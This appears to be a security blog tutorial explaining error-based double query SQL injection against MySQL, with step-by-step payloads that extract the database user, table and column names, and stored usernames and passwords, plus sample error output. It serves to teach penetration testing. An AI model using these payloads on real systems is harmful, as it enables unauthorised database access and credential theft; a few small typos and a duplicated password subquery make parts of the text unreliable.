Advanced SQL Injection: Exploiting Double Query Injection

Double query or subquery injection is a technique that is used to exploit an SQL Injection vulnerability. By combining two queries within a single query, it is possible to extract information from the database through its SQL error messages.

When would we use it

We discover an SQL Injection vulnerability, however, the web application isn’t returning any data back within the page response which means extraction via traditional UNION-based methods can’t be used. Whilst no data is returned, we do notice that the web application is returning SQL error messages back to the user. This means we can utilise a technique called double query injection.

Starting point

As an example, assume we have the following SQL Query and have identified it is vulnerable to SQL injection. Going forward, we will be using this as the base and injecting our double query SQL injection payload onto the end of it.

SELECT * FROM accounts WHERE id ='1'

‍

Enumerating Database Information

First, we can start enumerating the database in order to find out more information. We can use a double query injection, shown below, alongside built-in functions from the database. This includes functions such as user() and database(). The query below will identify the current database user using the double query injection technique.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'root@localhost2' for key 1

‍

Analysing The Query

To start, let’s examine the query below. We are joining together the following items using thefunction:

• user() - This is a built-in command that will output the current user the database is running as.
• RAND()\*2 - This commands generates a random number and multiplies it by 2.
• FLOOR(RAND()\*2) - This command floors the result of RAND()*2, which would result in either a 1 or 0. The FLOOR() function returns the largest integer value that is equal to or less than the specified number.
• GROUP BY - This function is used in order to display the unique values and then output them under a column called “a”. This is done because information_schema.tables has 430 rows, meaning that it would generate 430 rows containing the result under a column called “a”. However, we want to make sure we’re only getting the unique values, which would return only 2 results. The unique values in this case being root@localhost0 and root@localhost1.

To summarise, this query will join together the database user() and either a ‘0’ or a ‘1’. Then only the unique values will be displayed under “a”.

SELECT CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a;

+-----------------+
| a               |
+-----------------+
| root@localhost0 | 
| root@localhost1 | 
+-----------------+
2 rows in set (0.05 sec)

‍

Next we are going to introduce the count() function, By adding the count() function the query now will now count how many times each value was generated, up to a maximum of the total number of rows in information_schema.tables (430). Eventually the statement will cause a database error, which then proceeds to leak the information we require.

SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a;

+----------+-----------------+
| COUNT(*) | a               |
+----------+-----------------+
|      213 | root@localhost0 | 
|      217 | root@localhost1 | 
+----------+-----------------+
2 rows in set (0.05 sec)

SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a;

ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 1

‍

Finally, in order to execute it within our SQL Injection payload, we need to append it using an AND operation. However, it isn't possible to use an AND by itself to join the queries together and when we execute it we are presented with the following error message:

SELECT * FROM accounts WHERE id = '1' AND (SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a); 

ERROR 1241 (21000): Operand should contain 1 column(s)

‍

The reason this occurs is because the query is returning two columns.

To get around this we can create a temporary table to store our two rows but then only select 1 result. We can do this by using a select statement that will select 1 row from a temporary table called "x". This gives us a working double query injection payload that will extract the current database user.

‍

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 1

‍

The end result is that we have constructed a basic double query SQL injection, that will dump the user that the database is currently running as. In this case, it’s root@localhost.

Enumerating Tables

Enumerating tables is done in a similar way as how we extracted the user() and database() information shown above. By switching out user() for the following select statement, we can query information_schema.tables for any table_names that are in the current database. We can then proceed to enumerate table names, one by one, by using the LIMIT function. i.e. LIMIT 0,1. LIMIT 1,1 etc. The query below is a double query injection payload that will extract table names.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'accounts2' for key 1

‍

Enumerating Columns

With some simple tweaking we can enumerate columns for the tables we discovered above. By swapping out the previous query for one that queries information_schema.columns, we can search for column_names that belong to a specific table. An example of a double query injection payload to extract columns is shown below:

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='accounts' LIMIT 0,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'cid0' for key 1

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='accounts' LIMIT 1,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'username3' for key 1

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='accounts' LIMIT 2,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'password0' for key 1

‍

Similar to enumerating tables, you can use LIMIT to cycle through column names one by one.

Extracting Data From Columns

Now that we have enumerated the table names and the column names, we can expand on the payload above and actually extract information from the columns. Earlier, we noticed that we found a table called accounts, and within that table there were columns called username & password.

We can use the SQL Function called MID() to extract data from columns. MID() allows you to specify a column_name to search, the start position (first position is 1), and the required numbers of characters.

The payload below combines multiple MID() functions in order to extract the username and password, separated by colon.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT MID(username,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 2,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'admin:adminpass3' for key 1

‍

Summary

Double query or substring SQL injection is another technique that can be used to exploit SQL injections. They are particularly useful when the application is only returning SQL error messages and no data.

The query below is the full double query injection payload that will extract username and passwords.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT MID(username,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 2,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

‍

Query Breakdown

A full breakdown of the query is as follows:

• SELECT 1 FROM x - Derived table (temporary table) to store our two rows.
• COUNT() - The COUNT() function returns the number of rows that matches a specified criteria.
• CONCAT() - Joins items.
• MID() - Select substring of a string. In this case it allows you to specify the column name then select the starting character and the total amount of characters we want to extract. We can specify the exact row with LIMIT.
• LIMIT 2,1 - Starting at row 2 return 1 result.
• FLOOR(rand()5)) - Create a random value, multiply it by 5 and then floor it to get the result.
• GROUP BY - Displays the distinct entries from the column. The label or alias “a” is added to display the Column name as “a” which can be referenced by GROUP BY Clause.
• -- - SQL Comment to comment out the rest of the SQL query.

Acknowledgements

1. HacktheBox - Enterprise by ippsec
2. Double-Query-Injections-Demystified by Infosec Institute

‍

Disclaimer: All information provided within this blog post is for educational and research purposes only.